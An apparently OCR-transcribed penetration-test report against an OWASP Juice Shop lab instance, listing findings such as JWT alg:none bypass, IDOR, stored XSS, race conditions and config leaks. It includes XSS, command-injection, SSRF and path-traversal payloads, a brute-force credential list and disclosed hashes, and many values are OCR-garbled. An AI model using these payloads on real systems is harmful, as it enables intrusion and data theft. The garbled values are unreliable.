ciso@juice-sh.op: d715c2c75d4a42d38250050e000163c1959b511656373f17bd8eed7ble@5bf20d

bjoernaowasp.org: efe2f1599e2d93440d5243alffafb5ad413b70cf3ac97156bd6fab9bbddfcbeBed

Evidence artifacts

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/access_control_testing/vulnerability_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/api_testing/exploits/api_users.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/exploit_search/data_leakage_exploit.py
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/exploitation/exploit_search/data_leakage_evidence.txt

4, User authentication metadata exposure

severity: Critical/High

type: IDOR / BOLA / sensitive authentication data exposure



endpoint: GET http://172.17.0.4:3000/rest/user/authentication-details/
auth_context:

- forged/customer JWT

- forged/admin JWT
result: 200 OK

response_size: 10344 bytes

Data exposed

exposed:
- all users authentication metadata
- roles
- masked passwords
- MD5 password hashes
- totpSecret values
- lastlLoginTime
- login IPs

- user IDs

5. User object IDOR / BOLA

severity: High
type: IDOR / Broken Object Level Authorization

endpoint_pattern: GET /api/Users/{id}

Tested / confirmed IDs

tested_ids:
-1

-2




reported_range:

- IDs 1-22 returned 200 OK in one report

Confirmed exposed profiles

profiles:
- 1 adminajuice-sh.op role=admin
- 2 jimajuice-sh.op role=customer
- 3 benderajuice-sh.op role=customer
- 4 bjoern.kimminichagmail.com role=admin
- b ciso@juice-sh.op role=deluxe
- B supportajuice-sh.op role=admin

- 22 testingajuice-sh.op role=admin

Impact

impact:
- sequential user enumeration
- customer token accessed admin profiles

- arbitrary user profiles exposed

6. Basket IDOR

severity: Medium
type: IDOR

endpoint_pattern: GET /rest/basket/{id}

Confirmed authenticated basket access

endpoint: GET http://172.17.0.4:3000/rest/basket/1
auth: valid admin JWT
result: success
exposed:
id: 1
UserId: 1
coupon: null
products:

- Product 1 Apple Juice qty 2




- Product 2 Orange Juice gty 3

- Product 3 Eggfruit Juice qty 1

Reported customer-token IDOR

customer_token_accessed_baskets:
- /rest/basket/1
- /rest/basket/2
- /rest/basket/3
admin_basket:
id: 1

UserId: 1

7. Complaint data exposure / authorization bypass

severity: High/Medium
type: broken access control / data exposure
endpoint: GET http://172.17.0.4:3000/api/Complaints
auth_context:

- forged customer JWT

- forged admin JWT

result: 200 OK

Data exposed

exposed:
- all complaint records
- UserId
- messages
- timestamps

- stored XSS payloads

Stored XSS payload observed in complaints

<script>alert(1)</script>

8. Stored XSS in complaint messages



severity: High

type: stored XSS

endpoint: POST http://172.17.0.4:3000/api/Complaints
parameter: message

payload: <script>alert(1)</script=>

result: 201 Created

Evidence

created_complaint:
id: &
message: "<script>alert(1)</script>"
UserId: null
file: null
retrieval:
endpoint: GET /api/Complaints

result: payload returned unescaped in JSON

Evidence artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/xss/stored_xss_complaints_evidence.txt

9, Stored XSS in product name

severity: High

type: stored XSS

endpoint: POST http://172.17.0.4:3000/api/Products
parameter: name

payload: <script>alert(1)</script>

result: 201 Created

Evidence

created_resource:
location: /api/Products/57

retrieval:




endpoint: GET /api/Products

result: payload returned

Evidence artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/xss/stored_xss_products_evidence.txt

10. DOM XSS in user data export

severity: High

type: DOM XSS

file: main.js

line: 31738

sink: document.write(this.userData)

trigger: user clicks “Download Data”

Vulnerable code pattern

document.write(this.userData)

Evidence artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/xss/dom_xss_data_export_evidence.txt

11. Reflected / DOM XSS in SPA search

severity: Medium

type: reflected/DOM XSS

location: SPA search UI

payload: <script>alert(1)</script>

tn

reflection: "No products found for '<script>alert(1)</script>

Evidence artifacts

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/xss/reflected_xss_search_evidence.txt



./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/xss/step_009_search_xss.png

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/xss/step_010_search_results.png

12. Angular trusted HTML bypass sinks

severity: Medium/High
type: DOM XSS candidate / unsafe HTML trust
file: main.js
function: bypassSecurityTrustHtml()
lines:

- 3101

- 3133

- 3149

- 3173

- 3177

- 3290
affected_sinks:

- product descriptions

- feedback comments

- emails

- track order

- challenge descriptions

- user data export

Additional JS XSS sources/sinks

sources:
- location.hash
- location.search

- chunk-QPSST66Y. js

sinks:
- .innerHTML=
- .outerHTML=
- Angular bypassSecurityTrust*
- chunk-QPSST66Y. js
- chunk-UNFVUBM2. js

- scripts.ijs




postMessage_usage:

- web3-sandbox.module-XGVPBBHA. js

13. Checkout race condition / double-spend

severity: High
cwe: CWE-362
type: race condition
endpoint: POST http://172.17.0.4:3000/rest/basket/1/checkout
result: 20/20 concurrent requests succeeded
impact:
- duplicate order processing
- inventory bypass

- double-spend style checkout abuse

Evidence

{"orderConfirmation": "5267-3d76eab6d7c78815"}

Artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/race_condition/race_checkout_evidence.txt

14. B2B order race condition / duplicate processing

severity: High
cwe: CWE-362
type: race condition / missing idempotency
endpoint: POST http://172.17.0.4:3000/b2b/v2/orders
result: 20/20 concurrent requests succeeded
response_behavior: all returned the same orderNo
impact:

- duplicate processing

- possible multiple billing/order records

Artifact



./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/race_condition/race_b2b_orders_evidence.txt

15. Duplicate complaint submission race condition

severity: Medium
cwe: CWE-362
type: duplicate resource creation
endpoint: POST http://172.17.0.4:3000/api/Complaints
result: 20/20 concurrent submissions succeeded
created_ids: 7-26
impact:
- spam amplification

- duplicate complaint records

Artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/race_condition/race_complaints_evidence.txt

16. Unauthenticated admin application configuration disclosure

severity: Critical/High

endpoint: GET http://172.17.0.4:3000/rest/admin/application-configuration
auth_required: false in observed tests

result: 200 OK

size: approximately 23 KB

Exposed configuration

application.domain: juice-sh.op
server.port: 3000

baseUrl: http://localhost:3000
localBackupEnabled: true

chatbot.name: Juicy the Smart Assistant
chatbot.model: gemmad:edb
chatbot.backend: Ollama

chatbot.backend_address: 127.0.0.1:11434




llmMaxRetries: 2
OAuth/proxy_mapping: http://localhost:3000 -> https://local3000.owasp-juice.shop
Google OAuth client ID: 1005568560502 -
6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com
other_exposed:

- app/server configuration

- social URLs

- feature flags

- security.txt metadata

17. Unauthenticated application version disclosure

severity: Low
endpoint: GET http://172.17.0.4:3000/rest/admin/application-version
result: 200 OK

version: 20.0.0

18. Unauthenticated challenge metadata disclosure

severity: High

endpoint: GET http://172.17.0.4:3000/api/Challenges
auth_required: false

result: 200 OK

count: 112 challenge definitions in one report

Exposed data

exposed:
- challenge metadata
- names
- categories
- mitigation URLs
- solved status
- keus
- hints

- solutions

Challenge keys observed



challenge_keys:
- passwordHashLeakChallenge
- restfulXssChallenge
- accesslLogDisclosureChallenge
- registerAdminChallenge
- adminSectionChallenge
- filellriteChallenge
- rceChallenge
- rceOccupyChallenge
- noSglCommandChallenge
- sstiChallenge

- nftMintChallenge

19. Unauthenticated continue-code disclosure

severity: High/Medium
endpoint: GET http://172.17.0.4:3000/rest/continue-code

result: 200 OK

Continue codes disclosed

528Lr120VNPEbgxmQOwdKJSjjhnQtXRi8euMnHPmMAX jnJBMaYz43kgo76K1v
7800ygKDLrVRwN4 jxz213d15SwwhkgtgeikXIR1dgzZMYeBanmESvibQ5WJIBX

Dbgmk j 3K154a19wXMVePv7GMvSYYh7DhrZIx10YzEBgpWOyZRn8L2JQx6Nor

20. Unauthenticated Prometheus metrics exposure

severity: High/Medium
endpoint: GET http://172.17.0.4:3000/metrics
auth_required: false
result: 200 OK
size:
- approximately 25934 bytes

- approximately 26116 bytes

Metrics exposed



http_requests_count{status_code="2XX",app="juiceshop"} 2757
http_requests_count{status_code="4XX",app="juiceshop"} 9
http_requests_count{status_code="5XX",app="juiceshop"} 182
juiceshop_startup_duration_seconds{task="ready",app="juiceshop"}
nodejs_eventloop_lag_seconds {app="juiceshop"}

process_cpu_user_seconds_total{app="juiceshop"}

Startup task metrics disclosed

startup_tasks:
- validateConfig
- cleanupFtpFolder

- datacreator

21. Browsable FTP directory listing and sensitive filenames

severity: High/Medium

endpoint: GET http://172.17.0.4:3000/ftp
result: 200 OK

size: approximately 11297 / 11300 bytes
page_title: listing directory /ftp
disclosed_by: robots.txt

robots_txt_entry: Disallow: /ftp

Sensitive filenames disclosed

/ftp/credentials.txt
/ftp/database.sql
/ftp/backup.zip
/ftp/config.yml
/ftp/incident-support . kdbx
/ftp/coupons_2013.md.bak
/ftp/package. json.bak

/ftp/package-lock. json.bak

FTP file access behavior

GET /ftp/credentials.txt:

result: 403 Forbidden



error: Only .md and .pdf files are allowed!
stack_paths:
- /juice-shop/build/routes/fileServer.js:59:18

- /juice-shop/build/routes/fileServer.js:43:13

GET /ftp/credentials.txt.md:
result: 404 Not Found

disclosed_path: /juice-shop/ftp/credentials.txt.md

GET /ftp/credentials.txt%00.md:

result: 400 Bad Request

GET /ftp/database.sql:

result: 403 Forbidden

GET /ftp/config.yml:

result: 403 Forbidden

GET /ftp/backup.zip:

result: 403 Forbidden

GET /ftp/..%2f..%2fconfig.yml:

result: 403 Forbidden

Metasploit confirmation

module: auxiliary/scanner/http/dir_listing

result: directory listing exposed at /ftp

22. Swagger Ul / APl documentation exposed

severity: Medium

endpoint: GET http://172.17.0.4:3000/api-docs/
result: 200 OK

size: 3106 bytes

impact: API documentation interface exposed

Related files



GET /api-docs:

result: 301 to /api-docs/

GET /api-docs/README.md:
result: 200 OK

size: 1726 bytes

GET /api-docs/LICENSE:
result: 200 OK

size: 11358 bytes

GET /api-docs/swagger. json:

result: returned Swagger UI HTML instead of raw JSON

GET /api-docs/package. json:

result: 404

23. JWT payload sensitive data disclosure

severity: High

type: sensitive information in JWT
jwt_alg: RS256
jwt_length_observed: 720

missing_exp: true

JWT payload fields exposed

admin_jwt:

id: 1
username: ""
email: adminajuice-sh.op
password: 0192023a7bbd73250516T069df18b500
role: admin
deluxeToken: ""
lastLoginIp: ""
profileImage: assets/public/images/uploads/defaultAdmin.png
totpSecret: ""

isActive: true

iat:




- 1781260853
- 1781255448
- 1781258072

exp: absent

testing_jwt:
id: 22
email: testingajuice-sh.op
role: admin
bid: 6
password: b616a64605a007941fbd31868aeadbb54b

exp: absent

Hashes disclosed

adminajuice-sh.op:
md5: 0192023a7bbd73250516f069df18b500

cracked_or_known_password: adminl23

jimajuice-sh.op:

md5: 0192023a7bbd73250516T069df18b500

testinga@ajuice-sh.op:

md5: b616a64605a07941fbd31868aeadbb4b

JWT analyzer evidence

[1] No "exp' claim - token never expires

24. Insecure session cookie attributes

severity: Medium
cookie: token
HttpOnly: false
Secure: false
impact:
- token accessible to JavaScript

- increased token theft/session hijacking risk




Token capture

captured_tokens_total: 109
JWTs: 21

token_session_cookies: 88

25. Missing authentication on chatbot endpoint

severity: High
endpoint: POST http://172.17.0.4:3000/rest/chat
auth_required: false

evidence: unauthenticated and authenticated requests returned identical responses

Error disclosed

AI_RetryError: Failed after 3 attempts. Last error: Cannot connect to API: connect

ECONNREFUSED 127.0.0.1:11434

Backend disclosed

assistant_name: Juicy the Smart Assistant
model: gemmad:edb

backend: 0llama

backend_address: 127.0.0.1:11434

1lmMaxRetries: 2

Schema disclosure

Valid schema:

{"messages”: [{"role":"user", "content”:"hello"}]}

Invalid payloads returning schema/prompt errors:

{"text":"hello"}

{"message”:"hello"}

{"prompt":"hello"}




{"input":"hello"}

Error:

AI_InvalidPromptError: messages must not be empty

26. Verbose error / stack trace disclosure

severity: Medium
type: information disclosure

framework_disclosed: OWASP Juice Shop (Express 74.22.1)

Trigger examples

POST /rest/user/login:
malformed_json_result: 500

error: "SyntaxError: Expected property name or '}’ in JSON at position 1"

JWT malformed payload:
result: 500
error: "SyntaxError: Bad control character in string literal in JSON at position

224"

GET /rest./config:
result: 500

error: "Unexpected path: /rest./config”

GET /rest/admin:
result: 500

error: "Unexpected path: /rest/admin”

GET /api/keys:
result: 500

error: Express stack trace
POST /api/graphql:
result: 500 Internal Server Error

error: Unexpected path: /api/graphgl

POST /b2b-cyber/webstore/v2/graphql:




result: 500 Internal Server Error

POST /graphqgl/v2:

result: 500 Internal Server Error

Internal paths disclosed

/juice-shop/build/server. js
/juice-shop/build/server. js:320
/juice-shop/build/routes/verify.js
/juice-shop/build/routes/verify.js:135
/juice-shop/build/routes/angular. js
/juice-shop/build/routes/angqular.js:42:18
/juice-shop/build/routes/fileServer.js
/juice-shop/build/routes/fileServer.js:59:18
/juice-shop/build/routes/fileServer.js:43:13
/juice-shop/build/routes/redirect.js:45:18
/juice-shop/build/lib/utils.js
/juice-shop/build/lib/utils.js:225:26
/juice-shop/node_modules/jws/index. js
/juice-shop/node_modules/jws/index.js:113
/juice-shop/node_modules/express/lib/router/layer.js:95:5
/juice-shop/node_modules/express/lib/router/index.js:328:13
/juice-shop/node_modules/morgan/index.js:170:5

/juice-shop/ftp/

27. Permissive CORS

severity: Medium/High
header: Access-Control-Allow-Origin: "*"

observed_on: multiple endpoints

28. User address Pll exposure

severity: Medium
endpoint: GET /api/Addresss
finding: user address PII exposure reported

additional_behavior:




unauthenticated_result: 401 Unauthorized in some tests

error_leak: Cannot read properties of undefined (reading 'data')

29. /rest/saveloginIp sensitive data exposure

severity: High
endpoint: GET /rest/saveLoginIp
finding: leaks user data including password hash

additional_behavior:

30. Open redirect route behavior / limited exposure

counter_evidence:

internal/cloud/protocol SSRF payloads blocked

error: Unrecognized target URL for redirect

Reflection behavior

endpoint: GET /redirect?to=
tested_payloads:

- <script>alert(1)</script>

- <img src=x onerror=alert(1)>

- <svg onload=alert(1)=>

- javascript:alert(1)

- '" onclick="alert(1)"'

- "'salert(1)//"
result: 406 Not Acceptable
content_type: text/html; charset=utf-8

reflection: HTML-encoded in Express error page

direct_xss: not confirmed

Failed attempts

example: "Error: Unrecognized target URL for redirect:

unauthenticated_direct_test: 401 Unauthorized in one crawl

finding: open redirect identified via /redirect?to= in one report

GET /redirect?to=http://evil.com returned 406 Not Acceptable

<script>alert(1)</script>"



1. SSRF testing failed / not confirmed

status: failed

endpoint: GET /redirect?to=

result: 406 Not Acceptable

error: Unrecognized target URL for redirect

conclusion: URL validation/allowlist present

Blocked payload targets

http://127.0.0.1/
http://169.254.169.254/1latest/meta-data/
AWS metadata endpoints

GCP metadata endpoints

Azure metadata endpoints

DigitalOcean metadata endpoints
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/info

ftp://localhost/

Evidence artifacts

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/ssrf_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/nuclei_ssrf_output.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ssrf/ssrfmap_output.txt

2. SQL injection not confirmed

status: failed/inconclusive
tools:

- sgqlmap v1.8.4

- nuclei SQLi templates

- manual SQLi payload testing

Tested endpoints / parameters

GET /rest/continue-code?code=:

parameter: code



result: not injectable

POST /rest/user/reset-password:
parameter: JSON email
result: not injectable

note: rate limited with 429

POST /b2b/v2/orders:
parameter: JSON orderId

result: not injectable in final results

GET /api/Addresss?userId=:
parameter: userld

result: not injectable

POST /rest/chat:
parameter: JSON message

result: not injectable

GET /api/Recycles?id=:
parameter: id

result: not injectable

GET /rest/products?searchTerm=' OR 1=1--:
result: 500 Internal Server Error
reason: Unexpected path

conclusion: SQLi not confirmed

POST /rest/user/login:

v

payload: "email”:"admin''--", "password": "anything"}"’

result: 401 Invalid email or password

Malformed JSON caveat

prior_malformed_sqli_test:
endpoint: POST /rest/user/login
result: 500
reason: malformed JSON

conclusion: not validated injection

Evidence



sglmap results CSV: /root/.local/share/sqglmap/output/results-06122026_0929am.csv

sgqlmap options: level=2, risk=1

3. Command injection / RCE not confirmed

status: failed

conclusion: no confirmed command output or shell/session

Tested payloads and endpoints

POST /b2b/v2/orders:

payloads:
- ;id
- "|id"
- $(id)
- backticks
- NoSQL $gt/s$ne

result: HTTP 200 + orderNo

note: same orderNo across varied payloads may indicate NoSQL-style handling, but no

command execution confirmed

POST /api/Complaints:
payload_location: message
result: HTTP 201

behavior: command payloads stored as-is

POST /api/Recycles:
payload: XXE XML with file:///etc/passwd
result: HTTP 201

file_disclosure: none

PUT /rest/continue-code/apply/{code}:
payloads:
- ${7x7}

- "{{7*7}}"

result: HTTP 404

error: Invalid continue code




/rest/user/reset-password:
injection_payloads: tested

result: Blocked illegal activity

4. Metasploit generic 0S command execution failed

status: failed

module: exploit/multi/http/os_cmd_exec

attempted_endpoint: /rest/products/securityQuestion?productTitle=!INJECT!
target_command: /bin/id

result: failed; no session created

Additional attempted endpoints

/rest/products/securityQuestion:

result: HTTP 500 "Unexpected path”

/rest/coupons:

result: HTTP 500 "Unexpected path”

/rest/complain:

result: HTTP 500 "Unexpected path”

Metasploit result

sessions_obtained: 0O

CVEs_identified: none

Artifact

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/exploitation/metasploit_exploit/msf_os_cmd_exec_output.txt

5. Directory traversal / LFI false positive

status: false positive

tool: Metasploit auxiliary/scanner/http/http_traversal




result: traversal downloads contained identical Angular SPA index.html

conclusion: SPA router fallback, not filesystem disclosure

Traversal test path

[Ttp/..%2f. . %2F. .%2F. . %2f. .%2f. .%2f..%2f..%2f..%2fetc%2fpasswd

Artifacts

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/metasploit_exploit/msf_http_traversal_output.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/exploitation/metasploit_exploit/msf_http_traversal_download_output.txt

/root/.msf4/loot/20260612095528_default_172.17.0.4_1fi.data_*.txt

6. Mass assignment inconclusive

status: inconclusive
endpoint: POST /rest/user/sign-up
payload_fields:
- role=admin
- isAdmin=true
- deluxeToken=hacked
- balance=999999
result: 500 Internal Server Error

exploit_confirmed: false

7. B2B JWT trust boundary blocked admin JWT

status: failed for supplied/admin JWT

finding: B2B API uses separate JWT signing key/trust boundary
endpoint: /b2b/v2/orders

result: admin JWT rejected

error: UnauthorizedError: invalid signature

8. Forged a1g:none basket replay failed in some tests



status: failed for forged token replay
endpoints:
- GET /rest/basket/1
- GET /rest/basket/2
result: 401 Unauthorized
error: Cannot read properties of undefined (reading 'data')

note: valid-token basket IDOR reported separately

9, Chat XSS not confirmed

status: failed

endpoint: POST /rest/chat

payload: <script>alert('XSS')</script>
result: SSE error

error: AI_InvalidPromptError

xss_confirmed: false

10. Node-serialize RCE exploit failed

status: failed

exploit: EDB-45265 / CVE-2017-5941
type: Node.JS node-serialize RCE
result: failed

reason: target does not use node-serialize

11. ExploitDB/CVE candidates not confirmed

EDB-52121:
product: Angular-Base64-Upload Library 0.1.20
type: RCE

status: conditional only; target use not confirmed

EDB-52253:
product: Angular-Base64-Upload Library 0.1.21
type: unauthenticated RCE

status: conditional only; target use not confirmed




EDB-52528:
product: deephas 1.0.7
type: Prototype Pollution

status: relevance not confirmed

EDB-52141:
product: jQuery 3.3.1
type: Prototype Pollution & XSS

status: relevance not confirmed

12. Brute force attempts did not find new credentials

users_tested: 14
passwords_tested_per_user: 101
total_combinations: 1414

new_credentials_found: 0

Username/password candidates included

adminajuice-sh.op
jimajuice-sh.op
testingajuice-sh.op
donotreplyaowasp-juice.shop
benderajuice-sh.op
bjoern.kimminichagmail.com
cisoajuice-sh.op
supportajuice-sh.op
password

admin

testing

root

user

quest

Hydra result

tool: Hydra

target: http-post-form




result: timed out

likely_reason: Juice Shop login endpoint expects JSON, not form-encoded data

13. Nuclei scans reported no vulnerabilities in one run

tool: nuclei
result: No vulnerabilities found

note: conflicts with manual/other evidence confirming multiple vulnerabilities

Vulnerabilities confirmed

Critical

- JWT alg:none authentication bypass:
affected:
- GET /rest/user/whoami
- GET /api/Users
- GET /api/Challenges
- GET /rest/admin/application-configuration
- GET /rest/admin/application-version
- GET /rest/user/authentication-details/
- GET /api/Complaints
- GET /api/Products
- GET /api/SecurityQuestions

evidence: forged unsigned JWT accepted with 200 OK

- Sensitive user database exposure:
endpoint: GET /api/Users
exposed:

- 22+ |/ 26 users

- roles

- emails

- MD5 password hashes
- profile paths

- deluxe tokens

- timestamps

- IDOR / authentication details exposure:

endpoint: GET /rest/user/authentication-details/




result: 200 OK, 10344 bytes
exposed:

- password hashes

- roles

- TOTP secrets

- login IPs

- lastlLoginTime

- Unauthenticated/admin configuration disclosure:
endpoint: GET /rest/admin/application-configuration
result: 200 OK
exposed:

- app/server config

- OAuth details

- Google OAuth client ID

- chatbot/model/backend config

- baseUrl/domain/feature flags

- Hardcoded/weak admin credentials:
credentials: adminajuice-sh.op:adminl23
endpoint: POST /rest/user/login

result: admin JWT issued

High

- JWT payload exposes sensitive user data:
hashes:
adminajuice-sh.op: 0192023a7bbd73250516f069df18b500 = adminl23
jimajuice-sh.op: 0192023a7bbd73250516f069df18b500
testing@ajuice-sh.op: b616a064605007941fbd31868aeadb54b

no_exp_claim: true

- User object IDOR:
endpoint: GET /api/Users/{id}
confirmed_ids:
-1

-2




- Complaint data exposure:
endpoint: GET /api/Complaints
exposed:

- UserId
- messages
- timestamps

- stored XSS payload

- Stored XSS in complaints:
endpoint: POST /api/Complaints
parameter: message
payload: <script>alert(1)</script>
result: 201 Created

stored_id: 5

- Stored XSS in products:
endpoint: POST /api/Products
parameter: name
payload: <script>alert(1)</script=>
result: 201 Created

location: /api/Products/57

- DOM XSS data export:
file: main.js
line: 3173

sink: document.write(this.userData)

- Checkout race condition:
endpoint: POST /rest/basket/1/checkout
result: 20/20 concurrent requests succeeded

evidence: {"orderConfirmation":"5267-3d76eabB6d7c78815"}

- B2B duplicate order race condition:
endpoint: POST /b2b/v2/orders

result: 20/20 concurrent requests succeeded



behavior: same orderNo returned

- Missing authentication on chatbot:
endpoint: POST /rest/chat

result: unauthenticated and authenticated responses identical

- Internal LLM backend disclosure:
error: Cannot connect to API: connect ECONNREFUSED 127.0.0.1:11434
backend: 0llama

model: gemmad:edb

- Unauthenticated challenge data disclosure:
endpoint: GET /api/Challenges

exposed: 112 challenge definitions, keys, hints, solutions

- Unauthenticated continue code disclosure:
endpoint: GET /rest/continue-code
codes:
- 5Z8Lr120VNPEbgxmQOwdKJSjjhnQtXRi8euMnHPmMAXjnJBMaYz43kgo76K1lv
- 7800ygKDLrVRwN4 jxz213d15SwwhkgtgeikXIR1dgzMYeB6anmEQvibQ5WJIBX

- Dbgmkj3K154al9wXMVePv7GMvSYYh7DhrZIx10YzEBgpWOyZRn8L2JQx6Nor

- Prometheus metrics exposed:
endpoint: GET /metrics
result: 200 OK
exposed:
- HTTP request counts
- Node.js event loop metrics
- process CPU metrics

- Juice Shop startup task timings

- Browsable FTP directory:
endpoint: GET /ftp
result: 200 OK
exposed:

- credentials.txt

- database.sql

- backup.zip

- config.yml

- incident-support. kdbx

- package.json.bak



- package-lock. json.bak

- coupons_2013.md.bak

Medium

- Non-expiring JWTs:
issue: no exp claim

header: {"typ":"JWT","alg":"RS256"}

- Insecure session cookie:
cookie: token
HttpOnly: false

Secure: false

- Wildcard CORS:

header: Access-Control-Allow-Origin: "#*"

- Verbose stack trace disclosure:
exposed:
- OWASP Juice Shop (Express "4.22.1)
- /juice-shop/build/server.js
- /juice-shop/build/routes/*
- /juice-shop/node_modules/express/*
- /juice-shop/node_modules/jws/index. js

- /juice-shop/node_modules/morgan/index. js

- Swagger UI exposed:
endpoint: GET /api-docs/

result: 200 OK

- Rate limit bypass/weakness:
endpoint: POST /rest/user/reset-password
method: spoofed X-Forwarded-For

also_observed: 429 Too Many Requests

- Basket IDOR:
endpoint: GET /rest/basket/{id}

evidence: admin basket id=1 UserId=1 exposed with valid auth

- Duplicate complaint submission race:




endpoint: POST /api/Complaints
result: 20/20 concurrent submissions

ids: 7-26

- Reflected/DOM XSS in SPA search:
payload: <script>alert(1)</script>

reflection: No products found for '<script>alert(1)</script>'

- Angular bypassSecurityTrustHtml sinks:
file: main.js
lines:
- 3101
- 3133
- 3149
- 31738
- 3177

- 3290

- FTP file extension restriction information leak:
endpoint: GET /ftp/credentials.txt
result: 403 Forbidden

error: Only .md and .pdf files are allowed!

- Model/backend fingerprinting:
endpoint: GET /rest/admin/application-configuration
exposed:
chatbot.name: Juicy the Smart Assistant
chatbot.model: gemmad:edb
backend: 127.0.0.1:11434

1lmMaxRetries: 2

- /rest/user/whoami unauthenticated behavior:
endpoint: GET /rest/user/whoami
result: 200 OK

body: {"user":{}}

Low / Informational

- Version disclosure:

endpoint: GET /rest/admin/application-version



version: 20.0.0

- robots.txt disclosure:
endpoint: GET /robots.txt

content: Disallow: /ftp

- X-Recruiting header:

header: X-Recruiting: /#/jobs

- Security headers observed:
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff

feature-policy: payment 'self’

- security.txt exposed:
endpoints:
- /security.txt
- /.well-known/security.txt

result: 200 OK, 475 bytes

- CSAF metadata exposed:
endpoint: /.well-known/csaf/provider-metadata.json
canonical_url: http://localhost:3000/.well-known/csaf/provider-metadata.json

contact: timo.pagelaowasp.org

- Large unprotected media:
endpoint: /Video
result: 200 OK

size: 10075518 bytes

- Admin image exposed:

endpoint: /assets/public/images/uploads/defaultAdmin.png

- SPA fallback false positives:
behavior: nonexistent paths return 200 OK
content_type: text/html; charset=UTF-8

size: 9903 bytes

Tools used



recon:
- nmap
- httpx
- WhatWeb
- feroxbuster
- WAF detection tooling

- browser/proxy testing

exploitation/testing:
- manual HTTP requests
- custom JWT forgery scripts
- jwt_forgery_poc.py
- jwt_alg_none_exploit.py
- data_leakage_exploit.py
- mitmproxy
- sqlmap v1.8.4
- nuclei
- ssrfmap
- Metasploit Framework
- Hydra

- Python brute force script

Commands / modules / options explicitly referenced

network_discovery:
command: nmap -sn 172.17.0.0/24
discovered_hosts:
- 172.17.0.1
- 172.17.0.2
- 172.17.0.3

- 172.17.0.4

sqlmap:
version: vl1.8.4
options:
level: 2
risk: 1

results_csv: /root/.local/share/sqlmap/output/results-06122026_0929am.csv

Metasploit:

modules:




- auxiliary/scanner/http/dir_listing
- auxiliary/scanner/http/http_traversal
- exploit/multi/http/os_cmd_exec
os_cmd_exec:
endpoint: /rest/products/securityQuestion?productTitle=!INJECT!
command: /bin/id

result: failed; no session

Hydra:
mode: http-post-form
result: timed out

note: endpoint expects JSON, not form-encoded data

nuclei:
templates:
- SQLi templates
- DAST checks
result:
- one run reported no vulnerabilities
- one note says Nuclei DAST confirmed stack/error leakage related to critical

error-based SQLi, but SQLi itself was not consistently confirmed

Evidence and artifact index

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/access_control_testing/
./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/access_control_testing/traffic.har
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/access_control_testing/tokens.json
./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/access_control_testing/forged_tokens.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/access_control_testing/jwt_forgery_poc.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/access_control_testing/vulnerability_evidence.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/auth_bypass/auth_bypass_evidence. json
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/auth_bypass/alg_none_jwt_poc.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/auth_bypass/alg_none_jwt.txt




./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/auth_bypass/admin_config_disclosure.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/auth_bypass/jwt_token.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/ai_agent_testing/no_auth_enforcement.txt
internal _architecture_disclosure.txt
stack_trace_disclosure.txt
schema_validation_disclosure.txt
model_fingerprint.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/ai_agent_testing/jwt_token.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/api_testing/
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/api_testing/exploits/api_users.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/api_testing/exploits/api_challenges.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/api_testing/exploits/whoami_unauth.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/api_testing/exploits/jwt_decoded. json
./output/lunar-tiger-strikes/172.17.0.4_3000-

696 /web/api_testing/exploits/testing_credentials_auth.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/client_code_analysis/
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/client_code_analysis/assets
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/client_code_analysis/assets/landing.html

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/content/directories.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/content/files.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/content/interesting.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/directory_bruteforce/scan_evidence.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/idor_testing/idor_evidence.txt
./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/idor_testing/jwt_tokens.txt

./output/lunar-tiger-strikes/172.17.0.4_3000-696/web/idor_testing/login_page.png

./output/lunar-tiger-strikes/172.17.0.4_3000-

696/web/race_condition/race_checkout_evidence.txt



./output/lunar-tiger-strikes/172.17.0.4_3000-
696/web/race_condition/race_b2b_orders_evidence.txt
